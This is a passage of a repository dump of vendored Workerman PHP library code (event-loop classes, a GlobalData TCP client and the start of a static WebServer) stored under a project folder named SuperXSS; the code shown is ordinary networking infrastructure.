188 | /**
189 | * Destroy loop.
190 | *
191 | * @return void
192 | */
193 | public function destroy()
194 | {
195 | foreach ($this->_eventSignal as $event) {
196 | $event->del();
197 | }
198 | }
199 |
200 | /**
201 | * Get timer count.
202 | *
203 | * @return integer
204 | */
205 | public function getTimerCount()
206 | {
207 | return count($this->_eventTimer);
208 | }
209 | }
210 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/Libevent.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events;
15 |
16 | use Workerman\Worker;
17 |
18 | /**
19 | * libevent eventloop
20 | */
21 | class Libevent implements EventInterface
22 | {
23 | /**
24 | * Event base.
25 | *
26 | * @var resource
27 | */
28 | protected $_eventBase = null;
29 |
30 | /**
31 | * All listeners for read/write event.
32 | *
33 | * @var array
34 | */
35 | protected $_allEvents = array();
36 |
37 | /**
38 | * Event listeners of signal.
39 | *
40 | * @var array
41 | */
42 | protected $_eventSignal = array();
43 |
44 | /**
45 | * All timer event listeners.
46 | * [func, args, event, flag, time_interval]
47 | *
48 | * @var array
49 | */
50 | protected $_eventTimer = array();
51 |
52 | /**
53 | * construct
54 | */
55 | public function __construct()
56 | {
57 | $this->_eventBase = event_base_new();
58 | }
59 |
60 | /**
61 | * {@inheritdoc}
62 | */
63 | public function add($fd, $flag, $func, $args = array())
64 | {
65 | switch ($flag) {
66 | case self::EV_SIGNAL:
67 | $fd_key = (int)$fd;
68 | $real_flag = EV_SIGNAL | EV_PERSIST;
69 | $this->_eventSignal[$fd_key] = event_new();
70 | if (!event_set($this->_eventSignal[$fd_key], $fd, $real_flag, $func, null)) {
71 | return false;
72 | }
73 | if (!event_base_set($this->_eventSignal[$fd_key], $this->_eventBase)) {
74 | return false;
75 | }
76 | if (!event_add($this->_eventSignal[$fd_key])) {
77 | return false;
78 | }
79 | return true;
80 | case self::EV_TIMER:
81 | case self::EV_TIMER_ONCE:
82 | $event = event_new();
83 | $timer_id = (int)$event;
84 | if (!event_set($event, 0, EV_TIMEOUT, array($this, 'timerCallback'), $timer_id)) {
85 | return false;
86 | }
87 |
88 | if (!event_base_set($event, $this->_eventBase)) {
89 | return false;
90 | }
91 |
92 | $time_interval = $fd * 1000000;
93 | if (!event_add($event, $time_interval)) {
94 | return false;
95 | }
96 | $this->_eventTimer[$timer_id] = array($func, (array)$args, $event, $flag, $time_interval);
97 | return $timer_id;
98 |
99 | default :
100 | $fd_key = (int)$fd;
101 | $real_flag = $flag === self::EV_READ ? EV_READ | EV_PERSIST : EV_WRITE | EV_PERSIST;
102 |
103 | $event = event_new();
104 |
105 | if (!event_set($event, $fd, $real_flag, $func, null)) {
106 | return false;
107 | }
108 |
109 | if (!event_base_set($event, $this->_eventBase)) {
110 | return false;
111 | }
112 |
113 | if (!event_add($event)) {
114 | return false;
115 | }
116 |
117 | $this->_allEvents[$fd_key][$flag] = $event;
118 |
119 | return true;
120 | }
121 |
122 | }
123 |
124 | /**
125 | * {@inheritdoc}
126 | */
127 | public function del($fd, $flag)
128 | {
129 | switch ($flag) {
130 | case self::EV_READ:
131 | case self::EV_WRITE:
132 | $fd_key = (int)$fd;
133 | if (isset($this->_allEvents[$fd_key][$flag])) {
134 | event_del($this->_allEvents[$fd_key][$flag]);
135 | unset($this->_allEvents[$fd_key][$flag]);
136 | }
137 | if (empty($this->_allEvents[$fd_key])) {
138 | unset($this->_allEvents[$fd_key]);
139 | }
140 | break;
141 | case self::EV_SIGNAL:
142 | $fd_key = (int)$fd;
143 | if (isset($this->_eventSignal[$fd_key])) {
144 | event_del($this->_eventSignal[$fd_key]);
145 | unset($this->_eventSignal[$fd_key]);
146 | }
147 | break;
148 | case self::EV_TIMER:
149 | case self::EV_TIMER_ONCE:
150 | // 这里 fd 为timerid
151 | if (isset($this->_eventTimer[$fd])) {
152 | event_del($this->_eventTimer[$fd][2]);
153 | unset($this->_eventTimer[$fd]);
154 | }
155 | break;
156 | }
157 | return true;
158 | }
159 |
160 | /**
161 | * Timer callback.
162 | *
163 | * @param mixed $_null1
164 | * @param int $_null2
165 | * @param mixed $timer_id
166 | */
167 | protected function timerCallback($_null1, $_null2, $timer_id)
168 | {
169 | if ($this->_eventTimer[$timer_id][3] === self::EV_TIMER) {
170 | event_add($this->_eventTimer[$timer_id][2], $this->_eventTimer[$timer_id][4]);
171 | }
172 | try {
173 | call_user_func_array($this->_eventTimer[$timer_id][0], $this->_eventTimer[$timer_id][1]);
174 | } catch (\Exception $e) {
175 | Worker::log($e);
176 | exit(250);
177 | } catch (\Error $e) {
178 | Worker::log($e);
179 | exit(250);
180 | }
181 | if (isset($this->_eventTimer[$timer_id]) && $this->_eventTimer[$timer_id][3] === self::EV_TIMER_ONCE) {
182 | $this->del($timer_id, self::EV_TIMER_ONCE);
183 | }
184 | }
185 |
186 | /**
187 | * {@inheritdoc}
188 | */
189 | public function clearAllTimer()
190 | {
191 | foreach ($this->_eventTimer as $task_data) {
192 | event_del($task_data[2]);
193 | }
194 | $this->_eventTimer = array();
195 | }
196 |
197 | /**
198 | * {@inheritdoc}
199 | */
200 | public function loop()
201 | {
202 | event_base_loop($this->_eventBase);
203 | }
204 |
205 | /**
206 | * Destroy loop.
207 | *
208 | * @return void
209 | */
210 | public function destroy()
211 | {
212 | foreach ($this->_eventSignal as $event) {
213 | event_del($event);
214 | }
215 | }
216 |
217 | /**
218 | * Get timer count.
219 | *
220 | * @return integer
221 | */
222 | public function getTimerCount()
223 | {
224 | return count($this->_eventTimer);
225 | }
226 | }
227 |
228 |
--------------------------------------------------------------------------------
/SuperXSS/GlobalData/Client.php:
--------------------------------------------------------------------------------
1 | _globalServers = array_values((array)$servers);
50 | }
51 |
52 | /**
53 | * Connect to global server.
54 | * @throws \Exception
55 | */
56 | protected function getConnection($key)
57 | {
58 | $offset = crc32($key)%count($this->_globalServers);
59 | if($offset < 0)
60 | {
61 | $offset = -$offset;
62 | }
63 |
64 | if(!isset($this->_globalConnections[$offset]) || !is_resource($this->_globalConnections[$offset]) || feof($this->_globalConnections[$offset]))
65 | {
66 | $connection = stream_socket_client("tcp://{$this->_globalServers[$offset]}", $code, $msg, $this->timeout);
67 | if(!$connection)
68 | {
69 | throw new \Exception($msg);
70 | }
71 | stream_set_timeout($connection, $this->timeout);
72 | if(class_exists('\Workerman\Lib\Timer') && php_sapi_name() === 'cli')
73 | {
74 | $timer_id = \Workerman\Lib\Timer::add($this->pingInterval, function($connection)use(&$timer_id)
75 | {
76 | $buffer = pack('N', 8)."ping";
77 | if(strlen($buffer) !== @fwrite($connection, $buffer))
78 | {
79 | @fclose($connection);
80 | \Workerman\Lib\Timer::del($timer_id);
81 | }
82 | }, array($connection));
83 | }
84 | $this->_globalConnections[$offset] = $connection;
85 | }
86 | return $this->_globalConnections[$offset];
87 | }
88 |
89 |
90 | /**
91 | * Magic methods __set.
92 | * @param string $key
93 | * @param mixed $value
94 | * @throws \Exception
95 | */
96 | public function __set($key, $value)
97 | {
98 | $connection = $this->getConnection($key);
99 | $this->writeToRemote(array(
100 | 'cmd' => 'set',
101 | 'key' => $key,
102 | 'value' => $value,
103 | ), $connection);
104 | $this->readFromRemote($connection);
105 | }
106 |
107 | /**
108 | * Magic methods __isset.
109 | * @param string $key
110 | */
111 | public function __isset($key)
112 | {
113 | return null !== $this->__get($key);
114 | }
115 |
116 | /**
117 | * Magic methods __unset.
118 | * @param string $key
119 | * @throws \Exception
120 | */
121 | public function __unset($key)
122 | {
123 | $connection = $this->getConnection($key);
124 | $this->writeToRemote(array(
125 | 'cmd' => 'delete',
126 | 'key' => $key
127 | ), $connection);
128 | $this->readFromRemote($connection);
129 | }
130 |
131 | /**
132 | * Magic methods __get.
133 | * @param string $key
134 | * @throws \Exception
135 | */
136 | public function __get($key)
137 | {
138 | $connection = $this->getConnection($key);
139 | $this->writeToRemote(array(
140 | 'cmd' => 'get',
141 | 'key' => $key,
142 | ), $connection);
143 | return $this->readFromRemote($connection);
144 | }
145 |
146 | /**
147 | * Cas.
148 | * @param string $key
149 | * @param mixed $value
150 | * @throws \Exception
151 | */
152 | public function cas($key, $old_value, $new_value)
153 | {
154 | $connection = $this->getConnection($key);
155 | $this->writeToRemote(array(
156 | 'cmd' => 'cas',
157 | 'md5' => md5(serialize($old_value)),
158 | 'key' => $key,
159 | 'value' => $new_value,
160 | ),$connection);
161 | return $this->readFromRemote($connection);
162 | }
163 |
164 | /**
165 | * Add.
166 | * @param string $key
167 | * @throws \Exception
168 | */
169 | public function add($key, $value)
170 | {
171 | $connection = $this->getConnection($key);
172 | $this->writeToRemote(array(
173 | 'cmd' => 'add',
174 | 'key' => $key,
175 | 'value' => $value,
176 | ), $connection);
177 | return $this->readFromRemote($connection);
178 | }
179 |
180 | /**
181 | * Increment.
182 | * @param string $key
183 | * @throws \Exception
184 | */
185 | public function increment($key, $step = 1)
186 | {
187 | $connection = $this->getConnection($key);
188 | $this->writeToRemote(array(
189 | 'cmd' => 'increment',
190 | 'key' => $key,
191 | 'step' => $step,
192 | ), $connection);
193 | return $this->readFromRemote($connection);
194 | }
195 |
196 | /**
197 | * Write data to global server.
198 | * @param string $buffer
199 | */
200 | protected function writeToRemote($data, $connection)
201 | {
202 | $buffer = serialize($data);
203 | $buffer = pack('N',4 + strlen($buffer)) . $buffer;
204 | $len = fwrite($connection, $buffer);
205 | if($len !== strlen($buffer))
206 | {
207 | throw new \Exception('writeToRemote fail');
208 | }
209 | }
210 |
211 | /**
212 | * Read data from global server.
213 | * @throws Exception
214 | */
215 | protected function readFromRemote($connection)
216 | {
217 | $all_buffer = '';
218 | $total_len = 4;
219 | $head_read = false;
220 | while(1)
221 | {
222 | $buffer = fread($connection, 8192);
223 | if($buffer === '' || $buffer === false)
224 | {
225 | throw new \Exception('readFromRemote fail');
226 | }
227 | $all_buffer .= $buffer;
228 | $recv_len = strlen($all_buffer);
229 | if($recv_len >= $total_len)
230 | {
231 | if($head_read)
232 | {
233 | break;
234 | }
235 | $unpack_data = unpack('Ntotal_length', $all_buffer);
236 | $total_len = $unpack_data['total_length'];
237 | if($recv_len >= $total_len)
238 | {
239 | break;
240 | }
241 | $head_read = true;
242 | }
243 | }
244 | return unserialize(substr($all_buffer, 4));
245 | }
246 | }
247 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/Swoole.php:
--------------------------------------------------------------------------------
1 |
10 | * @link http://www.workerman.net/
11 | * @link https://github.com/ares333/Workerman
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events;
15 |
16 | use Swoole\Event;
17 | use Swoole\Timer;
18 |
19 | class Swoole implements EventInterface
20 | {
21 |
22 | protected $_timer = array();
23 |
24 | protected $_timerOnceMap = array();
25 |
26 | protected $_fd = array();
27 |
28 | // milisecond
29 | public static $signalDispatchInterval = 200;
30 |
31 | protected $_hasSignal = false;
32 |
33 | /**
34 | *
35 | * {@inheritdoc}
36 | *
37 | * @see \Workerman\Events\EventInterface::add()
38 | */
39 | public function add($fd, $flag, $func, $args = null)
40 | {
41 | if (! isset($args)) {
42 | $args = array();
43 | }
44 | switch ($flag) {
45 | case self::EV_SIGNAL:
46 | $res = pcntl_signal($fd, $func, false);
47 | if (! $this->_hasSignal && $res) {
48 | Timer::tick(static::$signalDispatchInterval,
49 | function () {
50 | pcntl_signal_dispatch();
51 | });
52 | $this->_hasSignal = true;
53 | }
54 | return $res;
55 | case self::EV_TIMER:
56 | case self::EV_TIMER_ONCE:
57 | $method = self::EV_TIMER == $flag ? 'tick' : 'after';
58 | $mapId = count($this->_timerOnceMap);
59 | $timer_id = Timer::$method($fd * 1000,
60 | function ($timer_id = null) use ($func, $args, $mapId) {
61 | call_user_func_array($func, $args);
62 | // EV_TIMER_ONCE
63 | if (! isset($timer_id)) {
64 | // may be deleted in $func
65 | if (array_key_exists($mapId, $this->_timerOnceMap)) {
66 | $timer_id = $this->_timerOnceMap[$mapId];
67 | unset($this->_timer[$timer_id],
68 | $this->_timerOnceMap[$mapId]);
69 | }
70 | }
71 | });
72 | if ($flag == self::EV_TIMER_ONCE) {
73 | $this->_timerOnceMap[$mapId] = $timer_id;
74 | $this->_timer[$timer_id] = $mapId;
75 | } else {
76 | $this->_timer[$timer_id] = null;
77 | }
78 | return $timer_id;
79 | case self::EV_READ:
80 | case self::EV_WRITE:
81 | $fd_key = (int) $fd;
82 | if (! isset($this->_fd[$fd_key])) {
83 | if ($flag == self::EV_READ) {
84 | $res = Event::add($fd, $func, null, SWOOLE_EVENT_READ);
85 | $fd_type = SWOOLE_EVENT_READ;
86 | } else {
87 | $res = Event::add($fd, null, $func, SWOOLE_EVENT_WRITE);
88 | $fd_type = SWOOLE_EVENT_WRITE;
89 | }
90 | if ($res) {
91 | $this->_fd[$fd_key] = $fd_type;
92 | }
93 | } else {
94 | $fd_val = $this->_fd[$fd_key];
95 | $res = true;
96 | if ($flag == self::EV_READ) {
97 | if (($fd_val & SWOOLE_EVENT_READ) != SWOOLE_EVENT_READ) {
98 | $res = Event::set($fd, $func, null,
99 | SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE);
100 | $this->_fd[$fd_key] |= SWOOLE_EVENT_READ;
101 | }
102 | } else {
103 | if (($fd_val & SWOOLE_EVENT_WRITE) != SWOOLE_EVENT_WRITE) {
104 | $res = Event::set($fd, null, $func,
105 | SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE);
106 | $this->_fd[$fd_key] |= SWOOLE_EVENT_WRITE;
107 | }
108 | }
109 | }
110 | return $res;
111 | }
112 | }
113 |
114 | /**
115 | *
116 | * {@inheritdoc}
117 | *
118 | * @see \Workerman\Events\EventInterface::del()
119 | */
120 | public function del($fd, $flag)
121 | {
122 | switch ($flag) {
123 | case self::EV_SIGNAL:
124 | return pcntl_signal($fd, SIG_IGN, false);
125 | case self::EV_TIMER:
126 | case self::EV_TIMER_ONCE:
127 | // already remove in EV_TIMER_ONCE callback.
128 | if (! array_key_exists($fd, $this->_timer)) {
129 | return true;
130 | }
131 | $res = Timer::clear($fd);
132 | if ($res) {
133 | $mapId = $this->_timer[$fd];
134 | if (isset($mapId)) {
135 | unset($this->_timerOnceMap[$mapId]);
136 | }
137 | unset($this->_timer[$fd]);
138 | }
139 | return $res;
140 | case self::EV_READ:
141 | case self::EV_WRITE:
142 | $fd_key = (int) $fd;
143 | if (isset($this->_fd[$fd_key])) {
144 | $fd_val = $this->_fd[$fd_key];
145 | if ($flag == self::EV_READ) {
146 | $flag_remove = ~ SWOOLE_EVENT_READ;
147 | } else {
148 | $flag_remove = ~ SWOOLE_EVENT_WRITE;
149 | }
150 | $fd_val &= $flag_remove;
151 | if (0 === $fd_val) {
152 | $res = Event::del($fd);
153 | if ($res) {
154 | unset($this->_fd[$fd_key]);
155 | }
156 | } else {
157 | $res = Event::set($fd, null, null, $fd_val);
158 | if ($res) {
159 | $this->_fd[$fd_key] = $fd_val;
160 | }
161 | }
162 | } else {
163 | $res = true;
164 | }
165 | return $res;
166 | }
167 | }
168 |
169 | /**
170 | *
171 | * {@inheritdoc}
172 | *
173 | * @see \Workerman\Events\EventInterface::clearAllTimer()
174 | */
175 | public function clearAllTimer()
176 | {
177 | foreach (array_keys($this->_timer) as $v) {
178 | Timer::clear($v);
179 | }
180 | $this->_timer = array();
181 | $this->_timerOnceMap = array();
182 | }
183 |
184 | /**
185 | *
186 | * {@inheritdoc}
187 | *
188 | * @see \Workerman\Events\EventInterface::loop()
189 | */
190 | public function loop()
191 | {
192 | Event::wait();
193 | }
194 |
195 | /**
196 | *
197 | * {@inheritdoc}
198 | *
199 | * @see \Workerman\Events\EventInterface::destroy()
200 | */
201 | public function destroy()
202 | {
203 | Event::exit();
204 | }
205 |
206 | /**
207 | *
208 | * {@inheritdoc}
209 | *
210 | * @see \Workerman\Events\EventInterface::getTimerCount()
211 | */
212 | public function getTimerCount()
213 | {
214 | return count($this->_timer);
215 | }
216 | }
217 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/Select.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events;
15 |
16 | /**
17 | * select eventloop
18 | */
19 | class Select implements EventInterface
20 | {
21 | /**
22 | * All listeners for read/write event.
23 | *
24 | * @var array
25 | */
26 | public $_allEvents = array();
27 |
28 | /**
29 | * Event listeners of signal.
30 | *
31 | * @var array
32 | */
33 | public $_signalEvents = array();
34 |
35 | /**
36 | * Fds waiting for read event.
37 | *
38 | * @var array
39 | */
40 | protected $_readFds = array();
41 |
42 | /**
43 | * Fds waiting for write event.
44 | *
45 | * @var array
46 | */
47 | protected $_writeFds = array();
48 |
49 | /**
50 | * Fds waiting for except event.
51 | *
52 | * @var array
53 | */
54 | protected $_exceptFds = array();
55 |
56 | /**
57 | * Timer scheduler.
58 | * {['data':timer_id, 'priority':run_timestamp], ..}
59 | *
60 | * @var \SplPriorityQueue
61 | */
62 | protected $_scheduler = null;
63 |
64 | /**
65 | * All timer event listeners.
66 | * [[func, args, flag, timer_interval], ..]
67 | *
68 | * @var array
69 | */
70 | protected $_eventTimer = array();
71 |
72 | /**
73 | * Timer id.
74 | *
75 | * @var int
76 | */
77 | protected $_timerId = 1;
78 |
79 | /**
80 | * Select timeout.
81 | *
82 | * @var int
83 | */
84 | protected $_selectTimeout = 100000000;
85 |
86 | /**
87 | * Paired socket channels
88 | *
89 | * @var array
90 | */
91 | protected $channel = array();
92 |
93 | /**
94 | * Construct.
95 | */
96 | public function __construct()
97 | {
98 | // Create a pipeline and put into the collection of the read to read the descriptor to avoid empty polling.
99 | $this->channel = stream_socket_pair(DIRECTORY_SEPARATOR === '/' ? STREAM_PF_UNIX : STREAM_PF_INET,
100 | STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
101 | if($this->channel) {
102 | stream_set_blocking($this->channel[0], 0);
103 | $this->_readFds[0] = $this->channel[0];
104 | }
105 | // Init SplPriorityQueue.
106 | $this->_scheduler = new \SplPriorityQueue();
107 | $this->_scheduler->setExtractFlags(\SplPriorityQueue::EXTR_BOTH);
108 | }
109 |
110 | /**
111 | * {@inheritdoc}
112 | */
113 | public function add($fd, $flag, $func, $args = array())
114 | {
115 | switch ($flag) {
116 | case self::EV_READ:
117 | $fd_key = (int)$fd;
118 | $this->_allEvents[$fd_key][$flag] = array($func, $fd);
119 | $this->_readFds[$fd_key] = $fd;
120 | break;
121 | case self::EV_WRITE:
122 | $fd_key = (int)$fd;
123 | $this->_allEvents[$fd_key][$flag] = array($func, $fd);
124 | $this->_writeFds[$fd_key] = $fd;
125 | break;
126 | case self::EV_EXCEPT:
127 | $fd_key = (int)$fd;
128 | $this->_allEvents[$fd_key][$flag] = array($func, $fd);
129 | $this->_exceptFds[$fd_key] = $fd;
130 | break;
131 | case self::EV_SIGNAL:
132 | // Windows not support signal.
133 | if(DIRECTORY_SEPARATOR !== '/') {
134 | return false;
135 | }
136 | $fd_key = (int)$fd;
137 | $this->_signalEvents[$fd_key][$flag] = array($func, $fd);
138 | pcntl_signal($fd, array($this, 'signalHandler'));
139 | break;
140 | case self::EV_TIMER:
141 | case self::EV_TIMER_ONCE:
142 | $timer_id = $this->_timerId++;
143 | $run_time = microtime(true) + $fd;
144 | $this->_scheduler->insert($timer_id, -$run_time);
145 | $this->_eventTimer[$timer_id] = array($func, (array)$args, $flag, $fd);
146 | $select_timeout = ($run_time - microtime(true)) * 1000000;
147 | if( $this->_selectTimeout > $select_timeout ){
148 | $this->_selectTimeout = $select_timeout;
149 | }
150 | return $timer_id;
151 | }
152 |
153 | return true;
154 | }
155 |
156 | /**
157 | * Signal handler.
158 | *
159 | * @param int $signal
160 | */
161 | public function signalHandler($signal)
162 | {
163 | call_user_func_array($this->_signalEvents[$signal][self::EV_SIGNAL][0], array($signal));
164 | }
165 |
166 | /**
167 | * {@inheritdoc}
168 | */
169 | public function del($fd, $flag)
170 | {
171 | $fd_key = (int)$fd;
172 | switch ($flag) {
173 | case self::EV_READ:
174 | unset($this->_allEvents[$fd_key][$flag], $this->_readFds[$fd_key]);
175 | if (empty($this->_allEvents[$fd_key])) {
176 | unset($this->_allEvents[$fd_key]);
177 | }
178 | return true;
179 | case self::EV_WRITE:
180 | unset($this->_allEvents[$fd_key][$flag], $this->_writeFds[$fd_key]);
181 | if (empty($this->_allEvents[$fd_key])) {
182 | unset($this->_allEvents[$fd_key]);
183 | }
184 | return true;
185 | case self::EV_EXCEPT:
186 | unset($this->_allEvents[$fd_key][$flag], $this->_exceptFds[$fd_key]);
187 | if(empty($this->_allEvents[$fd_key]))
188 | {
189 | unset($this->_allEvents[$fd_key]);
190 | }
191 | return true;
192 | case self::EV_SIGNAL:
193 | if(DIRECTORY_SEPARATOR !== '/') {
194 | return false;
195 | }
196 | unset($this->_signalEvents[$fd_key]);
197 | pcntl_signal($fd, SIG_IGN);
198 | break;
199 | case self::EV_TIMER:
200 | case self::EV_TIMER_ONCE;
201 | unset($this->_eventTimer[$fd_key]);
202 | return true;
203 | }
204 | return false;
205 | }
206 |
207 | /**
208 | * Tick for timer.
209 | *
210 | * @return void
211 | */
212 | protected function tick()
213 | {
214 | while (!$this->_scheduler->isEmpty()) {
215 | $scheduler_data = $this->_scheduler->top();
216 | $timer_id = $scheduler_data['data'];
217 | $next_run_time = -$scheduler_data['priority'];
218 | $time_now = microtime(true);
219 | $this->_selectTimeout = ($next_run_time - $time_now) * 1000000;
220 | if ($this->_selectTimeout <= 0) {
221 | $this->_scheduler->extract();
222 |
223 | if (!isset($this->_eventTimer[$timer_id])) {
224 | continue;
225 | }
226 |
227 | // [func, args, flag, timer_interval]
228 | $task_data = $this->_eventTimer[$timer_id];
229 | if ($task_data[2] === self::EV_TIMER) {
230 | $next_run_time = $time_now + $task_data[3];
231 | $this->_scheduler->insert($timer_id, -$next_run_time);
232 | }
233 | call_user_func_array($task_data[0], $task_data[1]);
234 | if (isset($this->_eventTimer[$timer_id]) && $task_data[2] === self::EV_TIMER_ONCE) {
235 | $this->del($timer_id, self::EV_TIMER_ONCE);
236 | }
237 | continue;
238 | }
239 | return;
240 | }
241 | $this->_selectTimeout = 100000000;
242 | }
243 |
244 | /**
245 | * {@inheritdoc}
246 | */
247 | public function clearAllTimer()
248 | {
249 | $this->_scheduler = new \SplPriorityQueue();
250 | $this->_scheduler->setExtractFlags(\SplPriorityQueue::EXTR_BOTH);
251 | $this->_eventTimer = array();
252 | }
253 |
254 | /**
255 | * {@inheritdoc}
256 | */
257 | public function loop()
258 | {
259 | $e = null;
260 | while (1) {
261 | if(DIRECTORY_SEPARATOR === '/') {
262 | // Calls signal handlers for pending signals
263 | pcntl_signal_dispatch();
264 | }
265 |
266 | $read = $this->_readFds;
267 | $write = $this->_writeFds;
268 | $except = $this->_exceptFds;
269 |
270 | // Waiting read/write/signal/timeout events.
271 | $ret = @stream_select($read, $write, $except, 0, $this->_selectTimeout);
272 |
273 | if (!$this->_scheduler->isEmpty()) {
274 | $this->tick();
275 | }
276 |
277 | if (!$ret) {
278 | continue;
279 | }
280 |
281 | if ($read) {
282 | foreach ($read as $fd) {
283 | $fd_key = (int)$fd;
284 | if (isset($this->_allEvents[$fd_key][self::EV_READ])) {
285 | call_user_func_array($this->_allEvents[$fd_key][self::EV_READ][0],
286 | array($this->_allEvents[$fd_key][self::EV_READ][1]));
287 | }
288 | }
289 | }
290 |
291 | if ($write) {
292 | foreach ($write as $fd) {
293 | $fd_key = (int)$fd;
294 | if (isset($this->_allEvents[$fd_key][self::EV_WRITE])) {
295 | call_user_func_array($this->_allEvents[$fd_key][self::EV_WRITE][0],
296 | array($this->_allEvents[$fd_key][self::EV_WRITE][1]));
297 | }
298 | }
299 | }
300 |
301 | if($except) {
302 | foreach($except as $fd) {
303 | $fd_key = (int) $fd;
304 | if(isset($this->_allEvents[$fd_key][self::EV_EXCEPT])) {
305 | call_user_func_array($this->_allEvents[$fd_key][self::EV_EXCEPT][0],
306 | array($this->_allEvents[$fd_key][self::EV_EXCEPT][1]));
307 | }
308 | }
309 | }
310 | }
311 | }
312 |
313 | /**
314 | * Destroy loop.
315 | *
316 | * @return void
317 | */
318 | public function destroy()
319 | {
320 |
321 | }
322 |
323 | /**
324 | * Get timer count.
325 | *
326 | * @return integer
327 | */
328 | public function getTimerCount()
329 | {
330 | return count($this->_eventTimer);
331 | }
332 | }
333 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/WebServer.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman;
15 |
16 | use Workerman\Protocols\Http;
17 | use Workerman\Protocols\HttpCache;
18 |
19 | /**
20 | * WebServer.
21 | */
22 | class WebServer extends Worker
23 | {
24 | /**
25 | * Virtual host to path mapping.
26 | *
27 | * @var array ['workerman.net'=>'/home', 'www.workerman.net'=>'home/www']
28 | */
29 | protected $serverRoot = array();
30 |
31 | /**
32 | * Mime mapping.
33 | *
34 | * @var array
35 | */
36 | protected static $mimeTypeMap = array();
37 |
38 |
39 | /**
40 | * Used to save user OnWorkerStart callback settings.
41 | *
42 | * @var callback
43 | */
44 | protected $_onWorkerStart = null;
45 |
46 | /**
47 | * Add virtual host.
48 | *
49 | * @param string $domain
50 | * @param string $config
51 | * @return void
52 | */
53 | public function addRoot($domain, $config)
54 | {
55 | if (is_string($config)) {
56 | $config = array('root' => $config);
57 | }
58 | $this->serverRoot[$domain] = $config;
59 | }
60 |
61 | /**
62 | * Construct.
63 | *
64 | * @param string $socket_name
65 | * @param array $context_option
66 | */
67 | public function __construct($socket_name, $context_option = array())
68 | {
69 | list(, $address) = explode(':', $socket_name, 2);
70 | parent::__construct('http:' . $address, $context_option);
71 | $this->name = 'WebServer';
72 | }
73 |
74 | /**
75 | * Run webserver instance.
76 | *
77 | * @see Workerman.Worker::run()
78 | */
79 | public function run()
80 | {
81 | $this->_onWorkerStart = $this->onWorkerStart;
82 | $this->onWorkerStart = array($this, 'onWorkerStart');
83 | $this->onMessage = array($this, 'onMessage');
84 | parent::run();
85 | }
86 |
87 | /**
88 | * Emit when process start.
89 | *
90 | * @throws \Exception
91 | */
92 | public function onWorkerStart()
93 | {
94 | if (empty($this->serverRoot)) {
95 | echo new \Exception('server root not set, please use WebServer::addRoot($domain, $root_path) to set server root path');
96 | exit(250);
97 | }
98 |
99 | // Init mimeMap.
100 | $this->initMimeTypeMap();
101 |
102 | // Try to emit onWorkerStart callback.
103 | if ($this->_onWorkerStart) {
104 | try {
105 | call_user_func($this->_onWorkerStart, $this);
106 | } catch (\Exception $e) {
107 | self::log($e);
108 | exit(250);
109 | } catch (\Error $e) {
110 | self::log($e);
111 | exit(250);
112 | }
113 | }
114 | }
115 |
116 | /**
117 | * Init mime map.
118 | *
119 | * @return void
120 | */
121 | public function initMimeTypeMap()
122 | {
123 | $mime_file = Http::getMimeTypesFile();
124 | if (!is_file($mime_file)) {
125 | $this->log("$mime_file mime.type file not fond");
126 | return;
127 | }
128 | $items = file($mime_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
129 | if (!is_array($items)) {
130 | $this->log("get $mime_file mime.type content fail");
131 | return;
132 | }
133 | foreach ($items as $content) {
134 | if (preg_match("/\s*(\S+)\s+(\S.+)/", $content, $match)) {
135 | $mime_type = $match[1];
136 | $workerman_file_extension_var = $match[2];
137 | $workerman_file_extension_array = explode(' ', substr($workerman_file_extension_var, 0, -1));
138 | foreach ($workerman_file_extension_array as $workerman_file_extension) {
139 | self::$mimeTypeMap[$workerman_file_extension] = $mime_type;
140 | }
141 | }
142 | }
143 | }
144 |
145 | /**
146 | * Emit when http message coming.
147 | *
148 | * @param Connection\TcpConnection $connection
149 | * @return void
150 | */
151 | public function onMessage($connection)
152 | {
153 | // REQUEST_URI.
154 | $workerman_url_info = parse_url($_SERVER['REQUEST_URI']);
155 | if (!$workerman_url_info) {
156 | Http::header('HTTP/1.1 400 Bad Request');
157 | $connection->close('400 Bad Request
');
158 | return;
159 | }
160 |
161 | $workerman_path = isset($workerman_url_info['path']) ? $workerman_url_info['path'] : '/';
162 |
163 | $workerman_path_info = pathinfo($workerman_path);
164 | $workerman_file_extension = isset($workerman_path_info['extension']) ? $workerman_path_info['extension'] : '';
165 | if ($workerman_file_extension === '') {
166 | $workerman_path = ($len = strlen($workerman_path)) && $workerman_path[$len - 1] === '/' ? $workerman_path . 'index.php' : $workerman_path . '/index.php';
167 | $workerman_file_extension = 'php';
168 | }
169 |
170 | $workerman_siteConfig = isset($this->serverRoot[$_SERVER['SERVER_NAME']]) ? $this->serverRoot[$_SERVER['SERVER_NAME']] : current($this->serverRoot);
171 | $workerman_root_dir = $workerman_siteConfig['root'];
172 | $workerman_file = "$workerman_root_dir/$workerman_path";
173 | if(isset($workerman_siteConfig['additionHeader'])){
174 | Http::header($workerman_siteConfig['additionHeader']);
175 | }
176 | if ($workerman_file_extension === 'php' && !is_file($workerman_file)) {
177 | $workerman_file = "$workerman_root_dir/index.php";
178 | if (!is_file($workerman_file)) {
179 | $workerman_file = "$workerman_root_dir/index.html";
180 | $workerman_file_extension = 'html';
181 | }
182 | }
183 |
184 | // File exsits.
185 | if (is_file($workerman_file)) {
186 | // Security check.
187 | if ((!($workerman_request_realpath = realpath($workerman_file)) || !($workerman_root_dir_realpath = realpath($workerman_root_dir))) || 0 !== strpos($workerman_request_realpath,
188 | $workerman_root_dir_realpath)
189 | ) {
